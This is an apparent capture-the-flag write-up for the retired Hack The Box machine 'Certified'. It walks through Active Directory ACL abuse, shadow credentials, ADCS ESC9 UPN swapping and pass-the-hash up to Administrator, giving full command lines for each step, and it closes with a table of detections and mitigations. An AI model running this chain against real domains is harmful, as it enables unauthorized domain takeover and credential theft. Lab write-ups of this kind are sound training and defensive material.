Skip to content
Pwnversity
CERTIFIED10 min · upd. 2026-11

Certified

active-directoryaclshadow-credentialsadcsesc9bloodhound
Platform Hack The Box (retired)
OS Windows — DC dc01.certified.htb, domain certified.htb
Difficulty Medium
Approx. time ~50 min
Scenario Assumed breach: we’re given judith.mader:judith09
Chain WriteOwner/GenericWrite → shadow creds management_svc → GenericAll → shadow creds ca_operator → ADCS ESC9 (UPN swap) → Administrator cert → NT hash → pass-the-hash
flowchart TD
  A["judith.mader (given)"] -->|WriteOwner over management| B["set owner + FullControl"]
  B -->|net rpc group addmem| C["judith ∈ management"]
  C -->|GenericWrite over management_svc| D["Shadow Credentials (pywhisker)"]
  D -->|PKINIT + getnthash| E["management_svc NT hash"]
  E -->|evil-winrm| F["management_svc (user.txt)"]
  F -->|GenericAll over ca_operator| G["Shadow Credentials"]
  G -->|PKINIT + getnthash| H["ca_operator NT hash"]
  H -->|ADCS ESC9: UPN → Administrator| I["Administrator cert"]
  I -->|certipy auth| J["Administrator NT hash"]
  J -->|pass-the-hash WinRM| K["Administrator (root.txt)"]
  • We start from an assumed breach with judith.mader:judith09. BloodHound reveals an ACL chain: judith has WriteOwner over the management group, which has GenericWrite over management_svc, which can PSRemote.
  • We take over the group, add ourselves, and with GenericWrite we set shadow credentials on management_svc (certificate → TGT → NT hash). Pass-the-hash and WinRM.
  • management_svc has GenericAll over ca_operator: we repeat shadow credentials and get its hash. With ca_operator we exploit ADCS ESC9: we change its UPN to Administrator, request a certificate, revert the UPN and authenticate as Administrator to pull its NT hash.

  1. Scan and BloodHound

    What I do:

    Ventana de terminal
    IP=<target_ip>
    echo "$IP certified.htb dc01.certified.htb" | sudo tee -a /etc/hosts
    nmap -sCV -Pn $IP # DC: Kerberos, LDAP, SMB → certified.htb
    bloodhound-python -d certified.htb -u judith.mader -p judith09 \
    -dc dc01.certified.htb -c all -ns $IP

    What I think: it’s a DC and I already have credentials (assumed breach). The escalation will be in the ACLs, so BloodHound comes first. I mark judith.mader as owned and check Reachable High Value Targets. → AD enumeration · BloodHound

  2. Read the chain

    What I see: three links:

    1. judith.mader → WriteOwner over the management group.
    2. management → GenericWrite over management_svc.
    3. management_svc → CanPSRemote (can log in over WinRM).
  1. Take over the management group

    What I do:

    Ventana de terminal
    # WriteOwner → make myself the group's owner
    bloodyAD --host $IP -d certified.htb -u judith.mader -p judith09 \
    set owner management judith.mader
    # Owner → grant myself FullControl (DACL)
    dacledit.py -action write -rights FullControl -inheritance \
    -principal judith.mader -target management \
    certified.htb/judith.mader:judith09
    # FullControl → add myself to the group
    net rpc group addmem management judith.mader \
    -U certified.htb/judith.mader%judith09 -S dc01.certified.htb

    Why it works: WriteOwner lets me become the object’s owner; the owner can rewrite the DACL and grant itself FullControl; with FullControl I add myself to the group. The classic ACL-abuse chain. → ACL and DACL abuse

  2. Shadow credentials over management_svc

    What I do: now in management (GenericWrite over management_svc), I add shadow credentials.

    Ventana de terminal
    pywhisker.py -d certified.htb -u judith.mader -p judith09 \
    --target management_svc --action add
    # → PFX + PFX password

    Why it works: GenericWrite lets me write the account’s msDS-KeyCredentialLink, adding a public key I control. With the private key I authenticate via PKINIT as that account without its password. → Shadow Credentials

  3. PFX → TGT → NT hash

    What I do:

    Ventana de terminal
    gettgtpkinit.py -cert-pfx <pfx> -pfx-pass '<pass>' certified.htb/management_svc management_svc.ccache
    export KRB5CCNAME=management_svc.ccache
    getnthash.py -key <AS-REP_key> certified.htb/management_svc
    # → management_svc NT hash
    evil-winrm -i certified.htb -u management_svc -H <hash>

    What I see: a shell as management_svc. user.txt → abcd…wxyz (redacted).

  1. GenericAll over ca_operator

    What I see: BloodHound shows management_svc has GenericAll over ca_operator.

    What I do: I repeat the shadow-credentials technique (GenericAll includes GenericWrite).

    Ventana de terminal
    pywhisker.py -d certified.htb -u management_svc -H <hash> --target ca_operator --action add
    gettgtpkinit.py -cert-pfx <pfx2> -pfx-pass '<pass2>' certified.htb/ca_operator ca_operator.ccache
    export KRB5CCNAME=ca_operator.ccache
    getnthash.py -key <key2> certified.htb/ca_operator
    # → ca_operator NT hash

    What I think: the name ca_operator hints it has something to do with the CA. It’s the key to attacking ADCS.

  1. Enumerate ADCS

    What I do:

    Ventana de terminal
    nxc ldap certified.htb -u management_svc -H <hash> -M adcs
    certipy find -u ca_operator@certified.htb -hashes <ca_operator_hash> -vulnerable -stdout

    What I see: a CertifiedAuthentication template where ca_operator can enroll and that has no security extension → vulnerable to ESC9.

    What I think: ESC9 (template missing the szOID_NTDS_CA_SECURITY_EXT extension) means the certificate is mapped to the user by their UPN, not their SID. If I can change ca_operator’s UPN to Administrator, the certificate I request will be associated with Administrator. → ADCS: ESC9 and UPN mapping

  2. Change the UPN, request the cert and revert

    What I do:

    Ventana de terminal
    # ca_operator's UPN → Administrator (using GenericAll via management_svc)
    certipy account update -username management_svc@certified.htb -hashes <hash> \
    -user ca_operator -upn Administrator
    # Request the certificate as ca_operator (now with UPN=Administrator)
    certipy req -username ca_operator@certified.htb -hashes <ca_operator_hash> \
    -ca certified-DC01-CA -template CertifiedAuthentication
    # Revert the UPN so the mapping works at authentication
    certipy account update -username management_svc@certified.htb -hashes <hash> \
    -user ca_operator -upn ca_operator@certified.htb

    Why it works: requesting the cert with UPN Administrator makes the CA issue it to that name. Reverting ca_operator’s UPN means the DC, at validation, maps the certificate to the real Administrator (there’s no SID in the cert to contradict it: that’s ESC9).

  3. Authenticate as Administrator

    What I do:

    Ventana de terminal
    certipy auth -pfx administrator.pfx -domain certified.htb
    # → Administrator NT hash
    evil-winrm -i certified.htb -u Administrator -H <admin_hash>
    cat C:\Users\Administrator\Desktop\root.txt

    What I see: certified\administrator. root.txt → abcd…wxyz (redacted). → Lateral movement


You have credentials. Load BloodHound and look at the ACL chain from judith.mader.

What I tried Result How I ruled it out
Kerberoasting / AS-REP on the accounts No useful result The route was the ACL chain, not cracking
Authenticating with the cert without reverting the UPN Mapping fails ESC9 requires reverting the UPN before certipy auth
Looking for ESC1 (arbitrary SAN) The template didn’t allow it The flaw was ESC9 (no security extension), not ESC1
  • Assumed breach → BloodHound first. With credentials, the path to DA is usually an ACL chain.
  • WriteOwner → GenericWrite → shadow creds is a repeatable chain: take ownership, grant control, add a KeyCredential and authenticate via PKINIT.
  • Shadow Credentials works with GenericWrite or GenericAll over the account and needs no current password.
  • Always enumerate ADCS (certipy find -vulnerable). ESC9 = template with no security extension → UPN mapping → impersonation by changing the UPN.
  • In ESC9, revert the UPN before authenticating. It’s the step people forget.
Phase Detection Mitigation
WriteOwner/DACL Event 5136 on the group (new owner and ACE) Review dangerous ACLs; protect sensitive groups
Shadow Credentials Event 5136 on msDS-KeyCredentialLink; 4768 (PKINIT) Alert on KeyCredentialLink changes; Protected Users for key accounts
ESC9 / UPN change 4738 (user account change: UPN), 4886/4887 (cert) Add the security extension to templates; restrict enrollment; audit UPN changes
Pass-the-hash 4624 type 3 from admin on an odd host Admin tiering; monitor certificate-based authentication